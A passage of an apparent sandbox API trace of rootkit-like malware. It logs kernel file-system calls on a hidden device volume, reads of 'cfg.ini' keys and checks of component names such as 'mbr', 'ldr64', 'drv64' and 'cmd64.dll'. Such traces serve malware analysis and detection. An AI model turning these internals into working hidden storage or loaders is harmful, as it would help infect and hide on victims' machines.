_Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.178] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.178] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.178] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa86f0 [0119.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.178] KeLeaveCriticalRegion () [0119.178] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.178] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.178] KeEnterCriticalRegion () [0119.178] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.178] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.178] KeLeaveCriticalRegion () [0119.178] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.178] KeEnterCriticalRegion () [0119.178] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.178] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.178] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.178] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.178] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.178] IdePortDispatch () returned 0x103 [0119.179] KeWaitForMutexObject () returned 0x0 [0119.179] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.179] KeLeaveCriticalRegion () [0119.179] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.179] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.179] KeEnterCriticalRegion () [0119.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.179] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7b000 [0119.179] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.179] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.179] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.179] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.179] IdePortDispatch () returned 0x103 [0119.179] KeWaitForMutexObject () returned 0x0 [0119.179] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.179] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.179] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.179] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.179] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.179] IdePortDispatch () returned 0x103 [0119.179] KeWaitForMutexObject () returned 0x0 [0119.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.179] KeLeaveCriticalRegion () [0119.179] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.180] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.180] KeEnterCriticalRegion () [0119.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.180] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.180] KeLeaveCriticalRegion () [0119.180] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.180] KeEnterCriticalRegion () [0119.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.180] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.180] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.180] KeLeaveCriticalRegion () [0119.180] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.180] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.180] KeEnterCriticalRegion () [0119.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.180] ExFreePoolWithTag (P=0xfffffa8003aa86f0, Tag=0x0) [0119.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.180] KeLeaveCriticalRegion () [0119.180] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.180] ReleaseMutex (hMutex=0xf0) returned 1 [0119.180] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.180] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.180] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.180] KeEnterCriticalRegion () [0119.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.180] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.180] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.180] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.180] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.181] IdePortDispatch () returned 0x103 [0119.181] KeWaitForMutexObject () returned 0x0 [0119.181] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.181] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.181] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.181] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.181] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.181] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc1aa0 [0119.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.181] KeLeaveCriticalRegion () [0119.181] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.181] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.181] KeEnterCriticalRegion () [0119.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.181] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.181] KeLeaveCriticalRegion () [0119.181] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.181] KeEnterCriticalRegion () [0119.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.181] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.181] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.181] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.181] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.181] IdePortDispatch () returned 0x103 [0119.181] KeWaitForMutexObject () returned 0x0 [0119.181] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.181] KeLeaveCriticalRegion () [0119.181] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.182] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.182] KeEnterCriticalRegion () [0119.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.182] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7c000 [0119.182] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.182] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.182] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.182] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.182] IdePortDispatch () returned 0x103 [0119.182] KeWaitForMutexObject () returned 0x0 [0119.182] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.182] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.182] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.182] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.182] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.182] IdePortDispatch () returned 0x103 [0119.182] KeWaitForMutexObject () returned 0x0 [0119.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.182] KeLeaveCriticalRegion () [0119.182] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.183] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.183] KeEnterCriticalRegion () [0119.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.183] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.183] KeLeaveCriticalRegion () [0119.183] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.183] KeEnterCriticalRegion () [0119.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.183] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.183] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.183] KeLeaveCriticalRegion () [0119.183] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.183] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.183] KeEnterCriticalRegion () [0119.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.183] ExFreePoolWithTag (P=0xfffffa8003bc1aa0, Tag=0x0) [0119.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.183] KeLeaveCriticalRegion () [0119.183] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.183] ReleaseMutex (hMutex=0xf0) returned 1 [0119.183] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.183] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.183] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.183] KeEnterCriticalRegion () [0119.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.183] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.183] IdePortDispatch () returned 0x103 [0119.183] KeWaitForMutexObject () returned 0x0 [0119.184] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.184] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.184] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.184] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.184] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.184] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039ca2c0 [0119.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.184] KeLeaveCriticalRegion () [0119.184] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.184] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.184] KeEnterCriticalRegion () [0119.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.184] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.184] KeLeaveCriticalRegion () [0119.184] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.184] KeEnterCriticalRegion () [0119.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.184] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.184] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.184] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.184] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.184] IdePortDispatch () returned 0x103 [0119.184] KeWaitForMutexObject () returned 0x0 [0119.184] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.184] KeLeaveCriticalRegion () [0119.184] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.184] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.184] KeEnterCriticalRegion () [0119.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.184] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7d000 [0119.184] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.184] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.184] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.184] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.184] IdePortDispatch () returned 0x103 [0119.185] KeWaitForMutexObject () returned 0x0 [0119.185] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.185] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.185] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.185] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.185] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.185] IdePortDispatch () returned 0x103 [0119.185] KeWaitForMutexObject () returned 0x0 [0119.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.185] KeLeaveCriticalRegion () [0119.185] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.185] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.185] KeEnterCriticalRegion () [0119.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.186] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.186] KeLeaveCriticalRegion () [0119.186] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.186] KeEnterCriticalRegion () [0119.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.186] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.186] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa8800, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.186] KeLeaveCriticalRegion () [0119.186] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.186] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.186] KeEnterCriticalRegion () [0119.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.186] ExFreePoolWithTag (P=0xfffffa80039ca2c0, Tag=0x0) [0119.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.186] KeLeaveCriticalRegion () [0119.186] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.186] ReleaseMutex (hMutex=0xf0) returned 1 [0119.186] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.186] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.186] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.186] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.186] KeEnterCriticalRegion () [0119.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.186] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.186] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.186] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.186] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.186] IdePortDispatch () returned 0x103 [0119.186] KeWaitForMutexObject () returned 0x0 [0119.186] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.186] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.186] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.186] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.186] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.187] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.187] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.187] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.187] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.187] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.187] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.187] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.187] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.187] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.187] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.187] KeLeaveCriticalRegion () [0119.187] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.187] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.187] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.187] KeEnterCriticalRegion () [0119.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.187] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.187] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.187] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.187] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.187] IdePortDispatch () returned 0x103 [0119.187] KeWaitForMutexObject () returned 0x0 [0119.187] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.187] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.187] _strnicmp (_Str1="ldr16", 